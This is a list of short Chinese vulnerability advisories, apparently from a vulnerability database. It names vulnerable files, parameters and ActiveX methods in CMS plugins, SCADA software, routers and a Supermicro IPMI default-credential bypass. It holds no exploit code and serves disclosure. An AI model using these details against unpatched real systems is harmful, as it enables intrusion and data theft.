Novell ZENworks Configuration Management是一款帮助客户降低IT拥有成本的桌面管理软件。Novell Antique ActiveX存在未明错误，允许攻击者执行任意代码。目前没有详细细节提供。
Novell ZENworks Configuration Management是一款帮助客户降低IT拥有成本的桌面管理软件。Novell SIGrid.Grid.1 ActiveX控件中的"DoFindReplace()"方法存在未明错误，可向"bstrReplaceText"参数提交恶意数据触发。
Dolphin是一款社交网络系统。通过"bubbles"参数传递给member_menu_queries.php的输入(当"get_bubbles_values"设置"action"时)在用于"eval()"调用时没有进行正确过滤，可被利用执行任意PHP代码。
Dolphin是一款社交网络系统。通过"iIDcat"参数传递给xml/get_list.php的输入(当"ApplyChanges"设置"dataType"，"iNumb"设置"1"时)在用于SQL查询之前没有进行正确过滤，可被利用注入任意SQL代码。
D-Link DCS-2121是一款网络摄像机设备。D-Link DCS-2121基于linux的嵌入系统，没有正确过滤密码字段数据，可以注入shell元字符(分号注入)，并执行任意命令。
Avaya Identity Engines Ignition Server是一款身份验证系统。在TCP 23456和23457 (SSL)端口上监听GIOP请求的AdminAccountManager进程存在缺陷，AdminAccountManager负责响应针对管理函数的远程请求而无需验证。远程攻击者可以调用默认管理账户的setAccountPassword操作，盗用管理员访问，并可能远程执行任意代码。
Debian apt是一款包管理工具。Debian apt 0.8.11之前版本不正确处理Verify-Host配置选项，当证书主机名不匹配时Debian apt会成功进行连接而不是触发校验失败。
Piwik是一款PHP开源网站访问统计系统。Piwik存在多个未明安全漏洞，目前没有详细漏洞细节提供。
Check Point UTM-1 Edge和Safe是一款针对中小型企业的安全防护设备。UTM-1 Edge和Safe@Office提供的WebUI存在多个安全漏洞，允许攻击者进行跨站脚本，跨站请求伪造，信息泄露，离线站点重定向等攻击。
心海软件是国内心里健康测评系统。心海软件存在cookie伪造漏洞，攻击者只要获得任一普通用户的cookie样式即可伪造管理员cookie取得系统管理权限。
Joomla!是一款开放源码的内容管理系统(CMS)。Joomla!的核心组件在实现上存在多个安全漏洞。恶意攻击者可以通过此漏洞在受影响的机器上执行任意代码达到攻击的目的。
Yet Another CMS是一款网站信息管理系统，使用Asp+Access环境下开发的开源产品。Yet Another CMS 1.0容易产生跨站脚本漏洞。攻击者可以利用这些问题在WEB页面中插入恶意html代码，使之在用户机器上执行任意代码达到攻击的目的。
Yet Another CMS是一款网站信息管理系统，使用Asp+Access环境下开发的开源产品。Yet Another CMS 1.0容易产生SQL注入漏洞。攻击者可以利用这些问题进行SQL注入攻击。
心海软件是国内心里健康测评系统。心海软件学校心理管理系统存在文件上传漏洞，攻击者可以上传网页木马（Webshell）获得服务器主机的控制权。
Gnuboard是韩国Sir公司开发一套PHP+Mysql可扩展论坛程序。 Gnuboard由于对输入的内容没有进行充分过滤容易产生SQL注入漏洞。攻击者可以利用利用这个问题在受影响的应用程序上执行任意代码达到攻击的目的。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件BackWPup存在文件包含漏洞，由于传递到wp-content/plugins/backwpup/job/wp_export_generate.php中"BackWPupJobTemp"参数的输入在被用于包含文件前未能正确验证，攻击者可以利用漏洞从远程资源包含文件。
PtokaX是DC++的服务器端，DC++是一个开放源码的P2P客户端。PtokaX存在多个安全漏洞，攻击者可以利用目录遍历漏洞读取系统文件内容，并应用程序权限执行lua代码。
Toshiba e-STUDIO是东芝公司推出的一体机。Toshiba e-STUDIO多个产品存在安全绕过问题，在TopAccess追加"/"字符，即可绕过校验访问受限脚本。
Ubuntu是一款基于linux内核的操作系统。quassel-core创建了全局可读的/var/lib/quassel(旧版本中为/var/cache/quassel)和/var/log/quassel目录，自动生成的SSL证书+密钥文件/var/lib/quasselCert.pem也全局可读。可导致敏感信息泄露。
Open Enterprise Server是Novell继SUSE Linux Enterprise Server之后推出的新一代企业级服务器操作系统。Novell Open Enterprise Server存在安全漏洞，恶意用户可利用此漏洞绕过部分安全限制。由于不正确设置组策略对象目录的权限，可被利用创建新文件和删除或编辑已存在的非默认策略文件。要成功利用漏洞需要OES域控制器托管了DSFW域，并创建了非默认组策略对象。
logsurfer是一个日志文件搜索工具。logsurfer prepare_exec()函数存在两次释放漏洞，此漏洞是由于没有正确解析其输入，不能充分处理get_word()返回的错误条件触发的。本地攻击者可以利用漏洞使应用程序崩溃。
BlueZone Desktop是一款多功能桌面终端模拟器。BlueZone Desktop不正确处理特殊构建的'.zap'文件，攻击者可以利用此漏洞使应用程序崩溃。当处理ZAP文件时iSeries打印机工具(bzap.exe)存在边界错误，可触发基于堆的缓冲区溢出。
vtiger CRM是基于web的开源客户关系管理系统。 vtiger CRM使用了位于/cron/class.phpmailer.php的受影响版本类文件，在实现上存在远程代码执行漏洞，恶意用户可利用此漏洞执行任意代码。
Filmis存在SQL注入漏洞，攻击者可以利用漏洞控制应用程序，访问或者修改数据，或利用底层数据库中的潜在漏洞。
RuubikCMS是一个开源网站内容管理工具。RuubikCMS '/extra/image.php'存在本地文件包含漏洞，因为它没有对用户提交的请求数据做充分的过滤。这个漏洞可能会允许攻击者危害应用程序和底层系统，并引起其他的攻击。
GTA SA-MP的server.cfg文件容易产生本地缓冲区溢出漏洞。攻击者可以利用这个问题在受影响的计算机上执行任意代码达到攻击的目的。    远程攻击者成功利用此漏洞可执行任意代码，上述攻击未执行成功也可以导致系统拒绝服务。
SilverStripe是一款内容管理系统(CMS)。SilverStripe存在跨站脚本漏洞。在sapphire/core/SSViewer.php的"process()"函数中，通过admin/reports/追加到URL的输入在被返回至用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
BugFree是一款开放源代码、基于Web的精简版Bug管理系统。BugFree存在跨站脚本漏洞，由于通过"ReportMode" GET参数传递到ReportLeft.php的输入在返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
BugFree是一款开放源代码、基于Web的精简版Bug管理系统。BugFree存在跨站脚本漏洞，由于通过"ReportMode" GET参数传递到Report.php的输入在返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
BugFree是一款开放源代码、基于Web的精简版Bug管理系统。BugFree存在跨站脚本漏洞，由于通过"ActionType" GET参数传递到Bug.php(当"BugID"有效)的输入在返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件teachPress存在本地文件包含漏洞，由于通过"root"参数传递到wp-content/plugins/teachpress/export.php (当"lvs_ID"和"type"被设置) 的输入在被用于包含文件前未能正确验证，攻击者可以利用漏洞通过目录遍历序列和URL编码NULL字节，包含本地资源的任意文件。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件teachPress存在本地文件包含漏洞，由于通过"root"参数传递到wp-content/plugins/teachpress/feed.php的输入在被用于包含文件前未能正确验证，攻击者可以利用漏洞通过目录遍历序列和URL编码NULL字节，包含本地资源的任意文件。
Drupal是一款开源的内容管理平台。Certificate Login是Drupal的一个模块。Drupal的Certificate Login模块存在SQL注入漏洞，由于程序在用于SQL查询中未能正确过滤用户提供的数据，攻击者可以利用漏洞控制应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Pretty Link存在跨站脚本漏洞，由于通过"page_first_record"，"page_last_record"，"record_count"，"controller_file"，"page_params" GET参数传递到/wp-content/plugins/pretty-link/classes/views/shared/table-nav.php的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Pretty Link存在跨站脚本漏洞，由于通过"errors" GET参数传递到/wp-content/plugins/pretty-link/classes/views/shared/errors.php的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Pretty Link存在跨站脚本漏洞，由于通过"prli_blogurl"，"values" GET参数传递到/wp-content/plugins/pretty-link/classes/views/prli-links/form.php的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Drupal是一款开源的内容管理平台。Cumulus是Drupal的一个模块。Drupal的Cumulus模块存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Pretty Link存在跨站脚本漏洞，由于通过"min_date"参数传递到wp-content/plugins/pretty-link/classes/views/prli-clicks/head.php的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Joomla!是一款开放源码的内容管理系统。Joomla! eTree组件存在SQL注入漏洞，由于通过"id"和"user_id"参数传递到index.php (当"option"设置为"com_directorytree"，"view"设置为"displays"，"layout" 设置为"user")的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Contact Form存在SQL注入漏洞，由于通过"wpcf_easyform_formid"参数传递到index.php (当"wpcf_easyform_submitted"设置为"1")的输入，在wp-content/plugins/contact-form-wordpress/easy-form.class.php的"the_content()" function中被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
PROMOTIC是一款SCADA软件。PROMOTIC PmTrendViewer ActiveX控件的"AddTrend()"方法存在边界错误，向"sID"参数提交超长字符串可触发基于栈的缓冲区溢出。
PROMOTIC是一款SCADA软件。PROMOTIC PmTrendViewer ActiveX控件的"SaveCfg()"方法存在边界错误，向"vCfg"参数提交超长字符串可触发基于栈的缓冲区溢出。
PROMOTIC是一款SCADA软件。PROMOTIC通过"/webdir/" URL传递的输入在用于读取文件之前缺少过滤，通过目录遍历攻击可以应用程序权限读取任意文件。
Sybase M-Business Anywhere可以提供一个移动内容和应用程序平台，将基于Web 的移动内容和应用程序传送至移动设备。Sybase M-Business Anywhere存在未明安全漏洞，允许恶意用户提升特权，目前没有详细漏洞细节提供。
Opera是一款开源的WEB浏览器。Opera在处理嵌入到Frameset中的SVG内容存在错误，攻击者构建恶意WEB页，诱使用户解析，可允许以应用程序上下文执行任意代码。
Sybase 的M-Business Anywhere 可以提供一个移动内容和应用程序平台，将基于Web 的移动内容和应用程序传送至移动设备。Sybase M-Business Anywhere在实现上存在两个远程权限提升漏洞，可被恶意用户利用获取提升的权限。Sybase M-Business平台上提供了一个桌面和移动电话设备客户端访问后端M-Business Server。默认情况下，可允许用户自己注册和创建自己的账号。Web管理界面中存在漏洞，常规用户可从此处无需验证即可登录并执行管理员命令。
vanilla forums是一个开源，符合标准的，多语言，支持主题和插件拓展的网络论坛。  Vanilla Forum中存在安全绕过漏洞和信息泄露漏洞。攻击者可利用该漏洞获取敏感信息并绕过某些安全限制。
JAKCMS 2.0.4.1及其他版本中存在跨站脚本攻击漏洞。该漏洞源于用户提供的输入被用于动态生成内容之前没有经过正确的过滤。攻击者可利用该漏洞在受影响站点的上下文中的不知情用户的浏览器上执行任意脚本代码，盗取基于coolie的认证证书并发起其他攻击。
openEngine 2.0中存在SQL注入漏洞。该漏洞源于用户提供的数据在用于SQL查询之前没有经过充分的过滤，攻击者可利用该漏洞访问或修改数据。
Cybele Software的多个产品（包括ThinVNC, ThinRDP和ThinVNC Access Point 2.0）在实现上存在任意文件检索和目录遍历漏洞，非法远程攻击者可请求受影响产品发布的Web服务器根之外的文件。
Phorum是一款基于PHP的WEB论坛程序。Phorum 5.2.18在实现上存在跨站脚本执行漏洞，远程攻击者可利用此漏洞执行任意脚本攻击。
GenStat是一款统计分析软件。GenStat在处理GWB(GenStat book)文件时，将空字放在了任意内存位置，导致数组溢出。通过GSH(GenStat SpreadSheet)文件后半部分中的文本字符串，攻击者在释放任意内存(write4)后可造成堆溢出。
Cytel是一个提供统计软件的公司，主要产品有StatXact, LogXact, EaSt和Egret软件等。Cytel在实现上存在多个漏洞，在复制256个字节的栈缓冲区中的字符串时存在缓冲区溢出漏洞，在处理行时存在整数溢出漏洞，在处理CYB文件的USE命令时存在栈溢出漏洞。恶意攻击者可利用这些漏洞控制受影响系统。
vtiger CRM是基于web的开源客户关系管理系统。 vtiger CRM在处理多个参数的过滤时存在漏洞，恶意用户可利用此漏洞通过特制的URL在受害者浏览器中执行任意脚本代码。
vtiger CRM是基于web的开源客户关系管理系统。 vtiger CRM在处理多个参数的过滤时存在漏洞，恶意用户可利用此漏洞通过特制的URL在受害者浏览器中执行任意脚本代码。
VLC Media Player是一款流行的多媒体播放程序。VLC Media Player的"httpd_ClientRecv()"函数(src/network/httpd.c)在实现上存在空指针引用错误，可通过特制的HTTP或RTSP请求使服务器进程崩溃，成功利用要求开启HTTP网络接口、HTTP输出、RTSP输出或RTSP VoD服务。
Google Chrome是一款开源的WEB浏览器。Google Chrome在实现上存在安全漏洞，远程攻击者可利用此漏洞通过特制的网页控制受影响系统。
SonicWALL Viewpoint是一款基于web的报告工具。SonicWall Viewpoint v6.0 SP2在实现上存在SQL注入漏洞，远程攻击者可利用此漏洞注入或执行(pre-auth) own sql语句，导致非法访问数据库。
WordPress是一款使用PHP语言开发的内容管理系统。User Avatar plugin for WordPress在实现上存在安全漏洞，恶意用户可利用此漏洞控制受影响系统。
WordPress是一款使用PHP语言开发的内容管理系统。YSlider plugin for WordPress在实现上存在安全漏洞，恶意用户可利用此漏洞控制受影响系统。
G-WAN在设计、解析、信号处理和缓冲区管理的实现上存在多个漏洞，远程攻击者可利用这些漏洞执行shellcode，造成拒绝服务。（1）处理csp子目录的URL编码时存在缓冲区溢出漏洞。（2）错误的处理了SIGPIPE信号。
Contao是一个采用PHP开发的CMS建站系统。 Contao中的"getPageIdFromURL()"函数错误地过滤了某些输入，在实现上存在跨站脚本执行漏洞，恶意用户可利用此漏洞执行跨站脚本攻击。
MyBB是一款基于PHP的论坛程序。MyStatus插件中的"statid"参数传递到process-mystatus.php的输入没有正确过滤就用在SQL查询中，在实现上存在SQL注入漏洞，恶意用户可利用此漏洞执行SQL注入攻击。
SRWare Iron在实现上存在多个安全漏洞，可被恶意用户利用造成不明影响，执行欺骗或跨站脚本攻击，泄露敏感信息，绕过安全限制，控制用户系统。
Joomla!是一款开源的内容管理系统。Joomla!的核心组件在实现上存在安全漏洞，恶意攻击者利用此漏洞通过特制的URL在用户浏览器中执行任意脚本代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress GD Star Rating plugin存在SQL注入漏洞，这是因为未经验证export.php脚本中'de'参数的用户输入，就使用它进行SQL查询，导致SQL注入攻击。攻击者可利用此漏洞导致敏感信息泄露或发起进一步攻击。
Snort Report是一款用于Snort入侵检测系统的附加模块，用于生成来自MySQL数据库的实时报告。Snortreport nmap.php和nbtscan.php存在远程命令执行漏洞，这是因为nmap.php和nbtscan.php脚本存在输入验证错误。攻击者可利用此漏洞以web权限执行任意命令。
Supermicro IPMI是超微产品中的IPMI卡，可远端开机，进入BIOS等进行系统控制。Supermicro IPMI存在两个管理账户，用于WEB接口访问：'ADMIN''Anonymous'官方文件仅告诉用户更改'ADMIN'账户密码。通过SSH指定空用户名，默认密码使用小写的'admin'可绕过限制登录系统。
2Moons存在多个远程文件包含漏洞，由于应用程序未能充分过滤用户提供的输入，攻击者可利用这些漏洞获取敏感信息或执行web服务器进程上下文中的任意脚本代码，或其他攻击。
Hitachi JP1/Cm2/网络节点管理器存在安全漏洞，允许恶意用户进行拒绝服务攻击或可控制应用系统。目前没有详细漏洞细节提供，漏洞可导致应用程序崩溃或任意代码执行。
Honeywell EBI是一款楼宇监控软件，Honeywell FEMA能提供广泛的温度调节装置，从简单的房间温度控制开关到ATEX认证的开关。Honeywell EBI安装了Temaline物理访问控制产品，Temaline客户端产品使用Tema远程安装程序下载和安装客户端工作站访问所需的Tema组件。Tema远程安装程序使用DownloadURL() ActiveX函数配置忽略文件验证，错误使用ActiveX函数可导致不检查来源真实性或通知用户就允许下载和安装任意MSI文件(恶意文件可命名为"ThinClient_TemaKit.msi")。
Cisco TelePresence Video Communication Server是一款整合h.323和SIP的视频会议解决方案。Cisco TelePresence Video Communication Server (VCS)不正确校验提供给WEB管理接口的用户控制的输入。用户可控的输入可通过HTTP User-Agent头提供给登录页面，在返回用户之前对非法或恶意内容缺少充分过滤，可导致执行反射型跨站脚本攻击。
TUGZip是一个完全免费的文件压缩管理工具。TUGZip存在远程缓冲区溢出漏洞，因为应用程序未能对用户提交的数据做充分边界审查。攻击者可以利用这个漏洞，在受影响的系统上进行提权并执行任意代码。攻击失败将导致拒绝服务。
bloofoxCMS是一个开源，易于使用的小型内容管理系统。bloofoxCMS由于未能充分审核在SQL查询中用户提供的数据容易产生一个SQL注入漏洞。攻击者利用这个漏洞可以攻击受影响的应用程序，访问或修改数据。
BlazeVideo HDTV Player是一个高清数字电视的全方位TV娱乐平台、同时也是一款简单易用的DVD、VCD、SVCD、CD播放软件。BlazeVideo HDTV Player 6.6容易产生DEP+ASLR绕道漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。
OPC Systems.NET是一款.NET产品，用于SCADA，HMI和生产一线到业务解决方案。OPC Systems.NET处理畸形.NET RPC报文存在安全漏洞，提交恶意请求可使OPCSystemsService.exe消耗大量CPU，造成拒绝服务攻击。
Android是一款以Linux为基础的开放源码操作系统，主要使用于便携设备。Android2.2和2.3这两个主流版本中的libsysutils use-after-free被爆出未知名的本地提权漏洞。攻击者可利用此漏洞获取Android系统的root权限。
IBM WebSphere ILOG是一款业务规则管理系统。IBM WebSphere ILOG Rule Team Server是一个基于Web的规则管理和授权环境，它允许业务用户查看、创建和修改规则。 通过"project"参数传递给teamserver/faces/home.jsp脚本的输入在返回用户之前，在content/error.jsp中缺少正确过滤，可被利用执行任意HTML和脚本代码，当恶意数据被查看时可获得敏感信息或劫持用户会话。
atvise是一款HMI和SCADA解决方案。 atvise webMI2ADS处理"Content-Length" HTTP头存在错误，发送包含负值内容长度的HTTP请求可消耗大量CPU和内存资源，造成拒绝服务攻击。
atvise是一款HMI和SCADA解决方案。atvise webMI2ADS存在安全漏洞，由于应用程序没有正确限制"shutdown"页面，可被利用关闭服务。
atvise是一款HMI和SCADA解决方案。 atvise webMI2ADS存在安全漏洞，由于通过URL传递的输入在用于读取文件之前缺少校验，可被利用通过目录遍历攻击读取任意文件。
Linux是一款开放源代码的操作系统。Linux kernel因为没有正确过滤用户提供的输入，容易产生漏洞。攻击者可以利用这些问题，泄露敏感信息。获得的信息可以帮助发动进一步的攻击。
KaiBB存在SQL注入漏洞，由于附加到index.php后的URL的输入在被用于SQL查询前在inc/header.php中未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
KaiBB存在SQL注入漏洞，由于通过"forum"参数传递到rss.php的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
JAKCMS存在安全漏洞，由于通过"userpost"参数传递到index.php (当"p"设置为"pm"，"w"被设置，"id"设置为"write"，和"touser"设置为一个有效用户)的输入在被用户使用前未能正确过滤，攻击者可以利用漏洞插入任意HTML和脚本代码。
Xerox ColorQube是一款高端多功能打印机。Xerox ColorQube存在安全漏洞，允许恶意用户绕过部分安全限制。漏洞是由于WEB接口中验证机制存在一个未明错误引起的，通过提交特殊序列命令可更改系统配置。
Snort Report是一款用于Snort入侵检测系统的附加模块，用于实时生成报告。Snort Report nmap.php和nbtscan.php脚本存在输入验证错误，远程攻击者可以利用漏洞以WEB权限执行任意命令。
MatrixSSL是针对小型应用程序和设备设计的嵌入式、开放源码SSLv3协议栈（商业版支持TLS协议）。MatrixSSL存在安全漏洞，允许攻击者获得敏感信息或劫持会话。当选择在CBC模式的对称加密套件(如AES)使用的初始化向量(IV)时Secure Sockets Layer 3.0 (SSL)和Transport Layer Security 1.0 (TLS)协议存在设计错误，此漏洞可被利用进行选择明文攻击，通过中间人攻击可对HTTPS会话进行加密。
ECShop是一款国内流行的网上商城系统。ECShop存在一个盲注漏洞，问题存在于/api/client/api.php文件中，提交特制的恶意POST请求可进行SQL注入攻击，可获得敏感信息或操作数据库。要成功利用漏洞需要服务器magic_quote_gpc设置为off。
D-Link DIR-685是一款无线路由器设备。在网络负载非常严重时，如传送多个G字节的数据，配置了使用pre-shared key(PSK)的WPA/WPA2和AES加密方式的D-Link DIR-685 Xtreme N storage router存在安全问题，会打开未加密无线连接，攻击者可以无需验证连接路由器网络，然后进行嗅探等攻击。需要设备重新启动恢复原来的加密状态。
BuzzScripts BuzzyWall是一款基于PHP的WEB应用程序。BuzzScripts BuzzyWall由于未能充分验证用户提供的数据很容易出现一个信息泄露漏洞。攻击者可以利用这个问题在Web服务器进程中下载本地文件。这可能允许攻击者获得敏感信息，也可能进行其他攻击。
Tsmim Lessons Library脚本存在安全漏洞，由于通过'page'参数传递到show.php(当"cid"被设置)的输入在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Eventify存在文件包含漏洞，由于通过"npath"参数传递到wp-content/plugins/eventify/php/ajax/fetcheventdetails.php的输入在被用于包含文件前未能正确过滤，攻击者可以利用漏洞从本地或外部资源包含文件。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Flowplayer存在跨站脚本漏洞，由于附加到wp-content/plugins/fv-wordpress-flowplayer/view/frontend-head.php之后的URL的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
腾讯QQ是在中国广泛使用的即时聊天工具。Windows平台上QQ的客户端（包括QQ2010/2011等版本）在实现上存在安全漏洞，在生成会话密钥相关的临时密钥时使用了不安全的随机密钥生成算法，导致攻击者可以通过监听用户登录得到会话密钥，进而可以添加、修改、查看所有的聊天记录。
Joomla!是一款开源的内容管理系统。Joomla Component Time Returns存在SQL注入漏洞，这是因为没有合理地验证提交给id参数的用户输入。远程攻击者可利用此漏洞获取相关用户信息，或可能发起进一步的攻击。
Opera是Opera Software开发的网络浏览器。Opera 10/11存在内存损坏漏洞，这是因为Opera含有坏的嵌套框架和标签。远程攻击者可利用此漏洞可执行任意代码或拒绝服务。
URL Shortener是一个提供短域名服务的网络站点。URL Shortener的'show.php'页面存在SQL注入漏洞，因为它未能对用户提交的SQL查询语句做充分的审查。此漏洞允许攻击者破坏应用程序，访问或修改数据，或间接利用底层数据库中潜在的漏洞。
IBM WebSphere Portal由用于构建和管理安全的企业对企业（B2B）、企业对客户（B2C）和企业对雇员（B2E）门户网站的中间件、应用程序（称为 portlet）和开发工具组成。 IBM WebSphere应用服务器容易存在一个未指定的跨站点请求伪造漏洞。利用这个问题可能会允许远程攻击者可以在授权用户的会话中执行某些行为，并能任意访问受影响的应用程序，其他的攻击也有可能存在。
eFront是一套在线学习系统。eFront 'folder'参数存在SQL注入漏洞，因为它未能对用户提交的SQL查询语句做充分的审查。此漏洞允许攻击者破坏应用程序，访问或修改数据，或间接利用底层数据库中潜在的漏洞。
VLC Media Player是一款流行的多媒体播放程序。"httpd_ClientRecv()"函数(src/network/httpd.c)存在一个空指针引用错误，攻击者提交特制的HTTP或RTSP请求可使服务器进程崩溃。要成功利用漏洞需要启用HTTP web接口, HTTP输出, RTSP输, 或RTSP VoD服务。
Psi是一款Jabber（XMPP）网络协议的即时通讯软件，使用了Qt库。当显示证书信息时Psi不正确设置文本格式，可被利用伪造证书。攻击者可以在证书中的通用名(CN)字段设置特制的RTF数据来进行攻击。
spida News存在SQL注入漏洞，因为它未能对用户提交的SQL查询数据做充分的审查。此漏洞允许攻击者破坏应用程序，访问或修改数据，或间接利用底层数据库中潜在的漏洞。
E107是一款内容管理程序。E107存在多个安全漏洞，包括目录泄露和任意文件下载。
aacms是一款内容管理系统（CMS）。aacms存在SQL注入漏洞，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
360eshop是一款网上商城系统。360eshop存在文件上传漏洞。攻击者可以利用漏洞获取文件路径。
Journal报刊系统Fckeditor编辑器存在安全漏洞，允许攻击者上传任意格式文件。
VLC Media Player是一款流行的多媒体播放程序。VLC Media Player AVI分路器存在一个整数溢出，HTTP和RTSP服务器组件存在空指针引用，可导致VLC media player崩溃，要成功利用此漏洞需要用户启用HTTP WEB接口，HTTP输出，RTSP输出或RTSP VoD功能。
OPC Server是Phoenix公司为INTERBUS总线系统专门开发的OPC Server。Unitronics OPC Server产品存在安全漏洞，此漏洞是由于第三方组件 'IP*Works! SSL'中https.ocx不正确处理输入引起的。成功利用漏洞可导致应用程序崩溃或以应用程序上下文执行任意代码。
Spree Commerce是一款采用Ruby on Rails（RoR)开发的开源商城软件。部分输入在用于ProductScope类之前缺少过滤，攻击者可以提交特制请求以服务进程上下文执行任意命令。
MyBB是一款开放源码的论坛程序。MyBB存在安全漏洞，允许恶意攻击者以应用程序上下文执行任意代码。MyBB被入侵后，其源代码包被注入后门，可被利用执行任意PHP代码。2011 10月6日及之前分发的1.6.4版本源文件受此漏洞影响。
Cyrus IMAP Server是一款开源的IMAP协议实现。NNTP服务器的验证机制中存在一个逻辑错误。发送"AUTHINFO USER"命令而之后不跟加"AUTHINFO PASS"命令可绕过验证处理并以验证用户上下文执行命令。
Cytel是一个提供统计软件的公司，主要产品有StatXact, LogXact, EaSt和Egret软件等。Cytel StatXact和Cytel LogXact处理Submit文件(".cyb")时Cytel Studio (cbf.exe)存在边界错误，提交包含超长字符串的"USE"命令可触发基于栈的缓冲区溢出。
Cytel是一个提供统计软件的公司，主要产品有StatXact, LogXact, EaSt和Egret软件等。Cytel StatXact和Cytel LogXact处理数据文件(".cy3"和".cyl")时Cytel Studio存在整数溢出，构建特制的文件可触发基于堆的缓冲区溢出。
Cytel是一个提供统计软件的公司，主要产品有StatXact, LogXact, EaSt和Egret软件等。Cytel StatXact和Cytel LogXact处理数据文件(".cy3"和".cyl")时Cytel Studio (CeCEDll.dll)存在边界错误，构建特制的文件可触发基于栈的缓冲区溢出。
FFmpeg是一款用于录制、转换和流化音频和视频的完整解决方案。FFmpeg存在多个安全漏洞，允许恶意用户进行拒绝服务或任意代码执行攻击。这些漏洞是因为4xm, ADPCM IMA Electronic Arts EACS, ANM, Electronic Arts CMV, PTX, QDM2, QuickDraw, TIFF, Tiertex Limited SEQ, aac, bink, flic, h264, indeo2, jpeg 2000, mpc v8, rasterfile, shorten, sun raster, vmd audio, vmd video, wmapro, wmavoice和xan decoders中各种错误造成的，漏洞可导致空指针应用，越界读写，两次释放，缓冲区溢出。漏洞存在于0.7.6和0.8.5之前版本。"cinvideo_decode_frame()"函数(libavcodec/dsicinav.c)存在边界错误，通过特制的cin文件可触发基于堆的缓冲区溢出。"qdm2_decode_init()"函数(libavcodec/qdm2.c)没有正确限制通道数量，构建特制媒体文件可在 "fill_tone_level_array()"函数(libavcodec/qdm2.c)中触发越界写。
GenStat是一款统计分析软件。GenStat构建特制的GSH (GenStat  SpreadSheet)可导致基于堆的溢出。成功利用漏洞可以以应用程序上下文执行任意代码。
GenStat是一款统计分析软件。GenStat处理GWB(GenStat book)文件存在数值溢出错误，可向任意内存位置写入空WORD数据。成功利用漏洞可以以应用程序上下文执行任意代码。
Mozilla Firefox/SeaMonkey是Mozilla所发布的WEB浏览器/新闻组客户端。Mozilla Firefox和SeaMonkey存在一个远程代码执行漏洞。攻击者可以利用此漏洞，在受影响的应用程序上执行任意代码，上述攻击未执行成功也可以导致系统拒绝服务。
SonicWall NSA采用统一威胁管理（UTM）技术抵抗各种攻击，兼备入侵防御、防病毒及反间谍软件功能和SonicWALL应用防火墙的应用层控制功能。SonicWall NSA 4500 web管理接口把生成的会话ID存储在"SessId" cookie变量中，这些ID可通过暴力猜解，可导致管理会话劫持。
SonicWall NSA采用统一威胁管理（UTM）技术抵抗各种攻击，兼备入侵防御、防病毒及反间谍软件功能和SonicWALL应用防火墙的应用层控制功能。SonicWall NSA WEB管理接口存在多个输入验证错误，攻击者可以进入main.html, Users->Settings，在"Login page content"输入恶意脚本代码，可以管理员上下文执行恶意脚本。
SonicWALL ViewPoint可通过对您网络及防火墙活动进行详细与全面的报告来提供对网络环境的空前掌握与控制。SonicWALL ViewPoint WEB接口不正确过滤用户提交给'scheduleID'参数的输入，构建特制的SQL字符串可更改原来的SQL逻辑，可操作数据库或获得敏感信息。
SlimPDF Reader是一款超轻量级免费PDF阅读器。SlimPDF Reader存在多个安全漏洞，包括用户模式写访问冲突，块数据移动上的读访问冲突，向用户控制的地址写入任意数据，把污染数据提供给函数调用等。利用这些漏洞可以以用户运行的受影响应用程序特权执行任意代码。此漏洞影响Able2Doc, Able2Doc Professional, Able2Extract, Absolute PDF Server, 和Able2Extract Server应用程序。构建特制的.PDF文件，诱使用户打开，可触发此漏洞。
Polipo是一个轻量级的跨平台代理服务器。Polipo不正确处理用户提交的POST/PUT请求，攻击者可以提交恶意请求使应用程序崩溃，造成拒绝服务攻击。
Pidgin是一款多协议即时通信软件。"silc_private_message()"函数(libpurple/protocols/silc/ops.c)存在输入过滤错误，向应用程序提交特制的SILC消息可导致一个越界读，可使应用程序崩溃。
Perl是一种高级、通用、直译式、动态的程序语言。用于Perl中的Crypt-DSA模块存在安全漏洞，允许恶意用户利用漏洞绕过部分安全限制。当"/dev/random"不用时，模块使用不安全的加密方法生成随机数，可导致生成不够强壮的密钥。要成功利用此漏洞需要"/dev/random"不可用(如运行在windows平台上)。
